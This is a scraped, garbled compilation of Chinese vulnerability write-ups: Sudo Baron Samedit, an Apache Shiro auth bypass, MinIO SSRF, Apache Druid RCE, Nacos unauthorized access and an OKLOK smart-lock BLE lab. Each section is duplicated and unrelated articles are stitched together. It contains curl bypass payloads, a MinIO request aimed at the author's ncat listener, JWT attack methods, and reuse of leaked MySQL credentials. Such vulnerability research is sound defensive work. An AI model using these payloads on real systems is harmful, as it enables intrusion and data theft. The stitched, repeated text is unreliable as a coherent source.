CVE-2021-3156：Sudo 中的基于堆的缓冲区溢出（Baron Samedit）
技术细节
如果执行Sudo以“shell”模式运行命令（shell -c命令）：
通过 -s 选项设置 Sudo 的 MODE_SHELL 标志；或者
通过 -i 选项设置 Sudo 的 MODE_SHELL 和 MODE_LOGIN_SHELL 标志；然后，在 Sudo 的 main() 的开头，parse_args() 重写 argv（第 609-617 行），通过连接所有命令行参数（第 587-595 行）并使用反斜杠转义所有元字符（第 590-591 行）：之后，在 sudoers_policy_main() 中，set_cmnd() 将命令行参数连接到基于堆的缓冲区“user_args”（第 864-871 行）并取消转义元字符（第 866-867v 行），“以便 sudoers 匹配和记录目的”
技术细节
如果执行Sudo以“shell”模式运行命令（shell -c命令）：
通过 -s 选项设置 Sudo 的 MODE_SHELL 标志；或者
通过 -i 选项设置 Sudo 的 MODE_SHELL 和 MODE_LOGIN_SHELL 标志；然后，在 Sudo 的 main() 的开头，parse_args() 重写 argv（第 609-617 行），通过连接所有命令行参数（第 587-595 行）并使用反斜杠转义所有元字符（第 590-591 行）：之后，在 sudoers_policy_main() 中，set_cmnd() 将命令行参数连接到基于堆的缓冲区“user_args”（第 864-871 行）并取消转义元字符（第 866-867v 行），“以便 sudoers 匹配和记录目的”
Apache Shiro权限绕过漏洞分析(CVE-2020-17523)
Apache Shiro是一个Java安全框架，它可以用来执行身份验证、授权、密码和会话管理。
在Shiro与Spring进行组合应用时，两者在对URI的处理中存在差异，常常导致Shiro认证绕过问题。
CVE-2020-17523复现
非漏洞作者，所以只能半猜测地复现该问题。先上payload:
> curl -v "http://host/admin/%20"
> curl -v "http://host/admin/%20/"
复现配置
SpringBoot + Shiro认证
(部分内容取自https://github.com/xhycccc/Shiro-Vuln-Demo/blob/main/shiro_cve-2020-13933）
向Spring中注入Bean
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
Map<String, String> map = new LinkedHashMap<>();
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
构造接口
@GetMapping("/admin/{name}")
public String admin(@PathVariable String name) {
return "admin page";
}
可见，在未经过认证的情况下，可以访问到admin page.
Apache Shiro是一个Java安全框架，它可以用来执行身份验证、授权、密码和会话管理。
在Shiro与Spring进行组合应用时，两者在对URI的处理中存在差异，常常导致Shiro认证绕过问题。
CVE-2020-17523复现
非漏洞作者，所以只能半猜测地复现该问题。先上payload:
> curl -v "http://host/admin/%20"
> curl -v "http://host/admin/%20/"
复现配置
SpringBoot + Shiro认证
(部分内容取自https://github.com/xhycccc/Shiro-Vuln-Demo/blob/main/shiro_cve-2020-13933）
向Spring中注入Bean
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean(){
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
Map<String, String> map = new LinkedHashMap<>();
map.put("/admin/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
构造接口
@GetMapping("/admin/{name}")
public String admin(@PathVariable String name) {
return "admin page";
}
可见，在未经过认证的情况下，可以访问到admin page.
一种无法被Dump的jar包加密保护解决方案
市面上常见的加密保护方案
由于Java字节码的抽象级别较高，使得它较容易被反编译，因此Java代码反编译要比其他开发语言更容易实现，并且反编译的代码经过优化后几乎可与源代码相媲美。为了避免出这种情况，保护软件知识产权的目的，就出现了各种各样的加密保护方式。
1.远程调用Java程序
最简单的方法就是让用户不能够拿到Jar程序，这种方法是最根本的方法，具体实现有多种方式。例如，开发人员可以将关键的jar放在服务器端，客户端通过访问服务器的相关接口来获得服务，而不是直接本地调用jar文件。这样黑客就没有办法反编译Class文件。目前，通过接口提供服务的标准和协议也越来越多，例如 HTTP、Web Service、RPC等。但是有很多应用都不适合这种保护方式，例如单机运行的程序或者须要很大网络流量的程序就无法远程调用Java程序。这种保护方式如图1所示。
自定义ClassLoader
为了防止Class文件被直接反编译，许多开发人员将一些关键算法的Class文件进行加密，在使用这些class被加载之前，程序首先需要对这些类进行解密，而后再将这些类装载到JVM当中。大致流程图2
这种方法首先需要对编写代码对类文件进行加密，然后自己编写类加载器解密加载，在往JAVA虚拟机导入class文件的同时进行class文件的解密，这种方式存在被内存dump的风险。
3.代码混淆
代码混淆是对Class文件进行重新组织和处理，使得处理后的代码与处理前代码完成相同的功能(语义)。但是反编译后得出的代码是非常难懂、晦涩的，因此反编译人员很难得出程序的真正语义。但是也只是增加了分析时间，被混淆的代码仍然可能被破解的风险。
4.转换成本地代码
将程序转换成本地代码也是一种防止反编译的有效方法。因为本地代码往往难以被反编译。开发人员可以选择将整个应用程序转换成本地代码，也可以选择关键模块转换。如果仅仅转换关键部分模块，Java程序在使用这些模块时，需要使用JNI技术进行调用。
当然，在使用这种技术保护Java程序的同时，也牺牲了Java的跨平台特性。对于不同的平台，我们需要维护不同版本的本地代码，这将加重软件支持和维护的工作。不过对于一些关键的模块，有时这种方案往往是必要的。
为了保证这些本地代码分析难度，我们可以通过对这些代码进行二进制混淆或部分VM，加大分析难度。我们本次也是使用这种方式。
市面上常见的加密保护方案
由于Java字节码的抽象级别较高，使得它较容易被反编译，因此Java代码反编译要比其他开发语言更容易实现，并且反编译的代码经过优化后几乎可与源代码相媲美。为了避免出这种情况，保护软件知识产权的目的，就出现了各种各样的加密保护方式。
1.远程调用Java程序
最简单的方法就是让用户不能够拿到Jar程序，这种方法是最根本的方法，具体实现有多种方式。例如，开发人员可以将关键的jar放在服务器端，客户端通过访问服务器的相关接口来获得服务，而不是直接本地调用jar文件。这样黑客就没有办法反编译Class文件。目前，通过接口提供服务的标准和协议也越来越多，例如 HTTP、Web Service、RPC等。但是有很多应用都不适合这种保护方式，例如单机运行的程序或者须要很大网络流量的程序就无法远程调用Java程序。这种保护方式如图1所示。
自定义ClassLoader
为了防止Class文件被直接反编译，许多开发人员将一些关键算法的Class文件进行加密，在使用这些class被加载之前，程序首先需要对这些类进行解密，而后再将这些类装载到JVM当中。大致流程图2
这种方法首先需要对编写代码对类文件进行加密，然后自己编写类加载器解密加载，在往JAVA虚拟机导入class文件的同时进行class文件的解密，这种方式存在被内存dump的风险。
3.代码混淆
代码混淆是对Class文件进行重新组织和处理，使得处理后的代码与处理前代码完成相同的功能(语义)。但是反编译后得出的代码是非常难懂、晦涩的，因此反编译人员很难得出程序的真正语义。但是也只是增加了分析时间，被混淆的代码仍然可能被破解的风险。
4.转换成本地代码
将程序转换成本地代码也是一种防止反编译的有效方法。因为本地代码往往难以被反编译。开发人员可以选择将整个应用程序转换成本地代码，也可以选择关键模块转换。如果仅仅转换关键部分模块，Java程序在使用这些模块时，需要使用JNI技术进行调用。
当然，在使用这种技术保护Java程序的同时，也牺牲了Java的跨平台特性。对于不同的平台，我们需要维护不同版本的本地代码，这将加重软件支持和维护的工作。不过对于一些关键的模块，有时这种方案往往是必要的。
为了保证这些本地代码分析难度，我们可以通过对这些代码进行二进制混淆或部分VM，加大分析难度。我们本次也是使用这种方式。
CVE-2021-21287: 容器与云的碰撞——一次对MinIO的测试
随着工作和生活中的一些环境逐渐往云端迁移，对象存储的需求也逐渐多了起来，MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议，也支持作为S3的网关，所以在全球被广泛使用，在Github上已有25k星星。
我平时会将一些数据部署在MinIO中，在CI、Dockerfile等地方进行使用。本周就遇到了一个环境，其中发现一个MinIO，其大概情况如下：
MinIO运行在一个小型Docker集群（swarm）中
MinIO开放默认的9000端口，外部可以访问，地址为http://192.168.227.131:9000，但是不知道账号密码
192.168.227.131这台主机是CentOS系统，默认防火墙开启，外部只能访问9000端口，dockerd监听在内网的2375端口（其实这也是一个swarm管理节点，swarm监听在2377端口）
本次测试目标就是窃取MinIO中的数据，或者直接拿下。
既然我们选择了从MinIO入手，那么先了解一下MinIO。其实我前面也说了，因为平时用到MinIO的时候很多，所以这一步可以省略了。其使用Go开发，提供HTTP接口，而且还提供了一个前端页面，名为“MinIO Browser”。当然，前端页面就是一个登陆接口，不知道口令无法登录。
那么从入口点（前端接口）开始对其进行代码审计吧。
在User-Agent满足正则.*Mozilla.*的情况下，我们即可访问MinIO的前端接口，前端接口是一个自己实现的JsonRPC
jwt常见的攻击方法主要有下面这几种：
将alg设置为None，告诉服务器不进行签名校验
如果alg为RSA，可以尝试修改为HS256，即告诉服务器使用公钥进行签名的校验
爆破签名密钥
随着工作和生活中的一些环境逐渐往云端迁移，对象存储的需求也逐渐多了起来，MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS S3的协议，也支持作为S3的网关，所以在全球被广泛使用，在Github上已有25k星星。
我平时会将一些数据部署在MinIO中，在CI、Dockerfile等地方进行使用。本周就遇到了一个环境，其中发现一个MinIO，其大概情况如下：
MinIO运行在一个小型Docker集群（swarm）中
MinIO开放默认的9000端口，外部可以访问，地址为http://192.168.227.131:9000，但是不知道账号密码
192.168.227.131这台主机是CentOS系统，默认防火墙开启，外部只能访问9000端口，dockerd监听在内网的2375端口（其实这也是一个swarm管理节点，swarm监听在2377端口）
本次测试目标就是窃取MinIO中的数据，或者直接拿下。
既然我们选择了从MinIO入手，那么先了解一下MinIO。其实我前面也说了，因为平时用到MinIO的时候很多，所以这一步可以省略了。其使用Go开发，提供HTTP接口，而且还提供了一个前端页面，名为“MinIO Browser”。当然，前端页面就是一个登陆接口，不知道口令无法登录。
那么从入口点（前端接口）开始对其进行代码审计吧。
在User-Agent满足正则.*Mozilla.*的情况下，我们即可访问MinIO的前端接口，前端接口是一个自己实现的JsonRPC
jwt常见的攻击方法主要有下面这几种：
将alg设置为None，告诉服务器不进行签名校验
如果alg为RSA，可以尝试修改为HS256，即告诉服务器使用公钥进行签名的校验
爆破签名密钥
我们来实际测试一下，向http://192.168.227.131:9000发送如下请求，其中Host的值是我本地ncat开放的端口（192.168.1.142:4444）：
POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
成功收到请求
POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
成功收到请求
阿里云安全获Apache官方致谢 ｜Apache Druid 远程代码执行漏洞预警(CVE-2021-25646)
这个漏洞的根本问题是一个druid中全局性的问题，开发者在使用Jackson相关的标签时，出现疏漏，使得攻击者可以构造传入的json串来控制一些敏感的参数。
举其中一个利用的例子：对于这一段代码来说，开发者认为这种写法中config参数是用户不可控的，因为config参数并没有JsonProperty注解，他的值由apache druid重写的GuiceInjectableValues操纵，预期应该是配置文件中的值（默认为关闭状态），而实际上在用户传入的json串被解析为JavaScriptDimFilter类型的实例时，config参数的值是用户可控的。
漏洞的关键：
在于对用JsonCreator注解修饰的方法来说，方法的所有参数都会解析成CreatorProperty类型，对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty，在用户传入键为””的json对象时就会被解析到对应的参数上。
1.HTTP Server端采用的是Jersey框架，所有的配置信息都由Guice框架在启动的时候进行绑定注入，比如利用的JavaScriptConfig，初始化的时候读取配置文件中的druid.javascript.enabled绑定到JavaScriptConfig的enabled field，这部分是非本地用户不可控的。
2.解析用户输入的关键部分：
com.fasterxml.jackson.databind.deser.BeanDeserializer#_deserializeUsingPropertyBased在解析的过程中，会拿解析到的json串中的“键名”去查找当前解析对象中对应的creatorProperty，这步对应的是findCreatorProperty方法，findCreatorProperty方法会去_propertyLookup 这个HashMap中查找”键名”对应的属性，在_propertyLookup中可以看到其中没有用JsonProperty注释修饰的JavaScriptConfig的键为””，要是json串中的键也为””，就能匹配上，取出JavaScriptConfig对应的creatorProperty
拿到对应的creatorProperty之后就会将用户输入的json串中这个键对应的根据类型去反序列相应的参数
这个漏洞的根本问题是一个druid中全局性的问题，开发者在使用Jackson相关的标签时，出现疏漏，使得攻击者可以构造传入的json串来控制一些敏感的参数。
举其中一个利用的例子：对于这一段代码来说，开发者认为这种写法中config参数是用户不可控的，因为config参数并没有JsonProperty注解，他的值由apache druid重写的GuiceInjectableValues操纵，预期应该是配置文件中的值（默认为关闭状态），而实际上在用户传入的json串被解析为JavaScriptDimFilter类型的实例时，config参数的值是用户可控的。
漏洞的关键：
在于对用JsonCreator注解修饰的方法来说，方法的所有参数都会解析成CreatorProperty类型，对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty，在用户传入键为””的json对象时就会被解析到对应的参数上。
1.HTTP Server端采用的是Jersey框架，所有的配置信息都由Guice框架在启动的时候进行绑定注入，比如利用的JavaScriptConfig，初始化的时候读取配置文件中的druid.javascript.enabled绑定到JavaScriptConfig的enabled field，这部分是非本地用户不可控的。
2.解析用户输入的关键部分：
com.fasterxml.jackson.databind.deser.BeanDeserializer#_deserializeUsingPropertyBased在解析的过程中，会拿解析到的json串中的“键名”去查找当前解析对象中对应的creatorProperty，这步对应的是findCreatorProperty方法，findCreatorProperty方法会去_propertyLookup 这个HashMap中查找”键名”对应的属性，在_propertyLookup中可以看到其中没有用JsonProperty注释修饰的JavaScriptConfig的键为””，要是json串中的键也为””，就能匹配上，取出JavaScriptConfig对应的creatorProperty
拿到对应的creatorProperty之后就会将用户输入的json串中这个键对应的根据类型去反序列相应的参数
某cos未授权访问漏洞和影响案例
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
服务（Service）是 Nacos 世界的一等公民。Nacos 支持几乎所有主流类型的“服务”的发现、配置和管理：
Kubernetes Service
gRPC & Dubbo RPC Service
Spring Cloud RESTful Service
其中里面包含了 MySQL 的账号密码，Redis 的账号密码。
而且因为之前开发者为了方便，并没有对配置文件的用户和密码进行加密处理，所以直接显示的就是明文。
同时因为经常为了远程调试方便，开放了 MySQL 的 3306 端口。
下面我通过找到的 IP地址 和 MySQL 的账号密码，直接连上了数据库
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
服务（Service）是 Nacos 世界的一等公民。Nacos 支持几乎所有主流类型的“服务”的发现、配置和管理：
Kubernetes Service
gRPC & Dubbo RPC Service
Spring Cloud RESTful Service
其中里面包含了 MySQL 的账号密码，Redis 的账号密码。
而且因为之前开发者为了方便，并没有对配置文件的用户和密码进行加密处理，所以直接显示的就是明文。
同时因为经常为了远程调试方便，开放了 MySQL 的 3306 端口。
下面我通过找到的 IP地址 和 MySQL 的账号密码，直接连上了数据库
破解与攻击智能门锁
实验说明
在本实验中，我们将研究如何分析OKLOK智能锁安全性，并分析安卓APP，动态代码调试和BLE分析控制，最终实现使用我们的代码来远程控制智能门锁。
我们将首先使用BLE适配器和Gatttool与智能锁进行交互，并探索设备上存在的服务和特征。然后，使用JEB对安卓APP进行逆向，以了解服务和特征的含义。接着，我们将研究安卓APP和智能锁之间的BLE流量。使用Android BLE日志记录功能查看BLE流量，但也可以使用Ubertooth或任何其他BLE siffer。BLE流量和移动应用程序的分析将使我们看到了通信已使用AES加密。
最后，我们将使用安卓APP插桩查找加密密钥和其他值，我们将使用它们编写自动脚本在无需任何身份验证情况下，来接管智能锁并解锁。
所需资源
硬件
智能门锁（OKLOK）
BLE适配器
安卓手机（安装OKLOK应用程序）
Ubertooth（可选）
软件
Wireshark
Bettercap/Bleah
Android device 1 Ubertooth-tools
Jeb
OKLOK.apk
OKLOK_gadget.apk
OKLOK智能锁介绍
OKLOK是具有蓝牙低功耗（BLE）功能的智能挂锁。除其他功能外，还可以使用适用于Android和ios的OKLOK应用从手机远程操作挂锁。在本实验中，我们将分析Android应用，了解如何将其与BLE利用方法结合使用以控制智能锁。
该锁支持使用注册用户的指纹进行解锁，但是在这里，我们仅关注BLE上的远程解锁功能。
默认情况下，锁处于睡眠状态，即蓝牙扫描器既看不到锁，也不响应BLE命令。为了使用它，必须通过触摸锁体上的指纹传感器来激活它。激活后，锁在闲置几秒钟后会自动返回到睡眠状态。
OKLOK分析
初步分析
为了分析智能插头，我们要做的第一件事是找到目标智能锁的地址。为此，我们将首先确保已连接BLE蓝牙。运行hciconfig以查看智能锁蓝牙是否已成功连接到VM。
现在使用Gatttol连接到设备，并探索设备上存在的服务和特征列表。使用hcitool是为了对设备的连接进行管理，那么对BLE数据进行精细化管理的话，就需要用到gatttool，使用gatttool对蓝牙设备发送指令的操作上要比hcitool的cmd齐全很多，关于gatttool的使用分为两种，直接使用参数对蓝牙设备进行控制，使用-I参数进入gatttool的interactive模式对蓝牙设备进行控制。
实验说明
在本实验中，我们将研究如何分析OKLOK智能锁安全性，并分析安卓APP，动态代码调试和BLE分析控制，最终实现使用我们的代码来远程控制智能门锁。
我们将首先使用BLE适配器和Gatttool与智能锁进行交互，并探索设备上存在的服务和特征。然后，使用JEB对安卓APP进行逆向，以了解服务和特征的含义。接着，我们将研究安卓APP和智能锁之间的BLE流量。使用Android BLE日志记录功能查看BLE流量，但也可以使用Ubertooth或任何其他BLE siffer。BLE流量和移动应用程序的分析将使我们看到了通信已使用AES加密。
最后，我们将使用安卓APP插桩查找加密密钥和其他值，我们将使用它们编写自动脚本在无需任何身份验证情况下，来接管智能锁并解锁。
所需资源
硬件
智能门锁（OKLOK）
BLE适配器
安卓手机（安装OKLOK应用程序）
Ubertooth（可选）
软件
Wireshark
Bettercap/Bleah
Android device 1 Ubertooth-tools
Jeb
OKLOK.apk
OKLOK_gadget.apk
OKLOK智能锁介绍
OKLOK是具有蓝牙低功耗（BLE）功能的智能挂锁。除其他功能外，还可以使用适用于Android和ios的OKLOK应用从手机远程操作挂锁。在本实验中，我们将分析Android应用，了解如何将其与BLE利用方法结合使用以控制智能锁。
该锁支持使用注册用户的指纹进行解锁，但是在这里，我们仅关注BLE上的远程解锁功能。
默认情况下，锁处于睡眠状态，即蓝牙扫描器既看不到锁，也不响应BLE命令。为了使用它，必须通过触摸锁体上的指纹传感器来激活它。激活后，锁在闲置几秒钟后会自动返回到睡眠状态。
OKLOK分析
初步分析
为了分析智能插头，我们要做的第一件事是找到目标智能锁的地址。为此，我们将首先确保已连接BLE蓝牙。运行hciconfig以查看智能锁蓝牙是否已成功连接到VM。
现在使用Gatttol连接到设备，并探索设备上存在的服务和特征列表。使用hcitool是为了对设备的连接进行管理，那么对BLE数据进行精细化管理的话，就需要用到gatttool，使用gatttool对蓝牙设备发送指令的操作上要比hcitool的cmd齐全很多，关于gatttool的使用分为两种，直接使用参数对蓝牙设备进行控制，使用-I参数进入gatttool的interactive模式对蓝牙设备进行控制。
❤1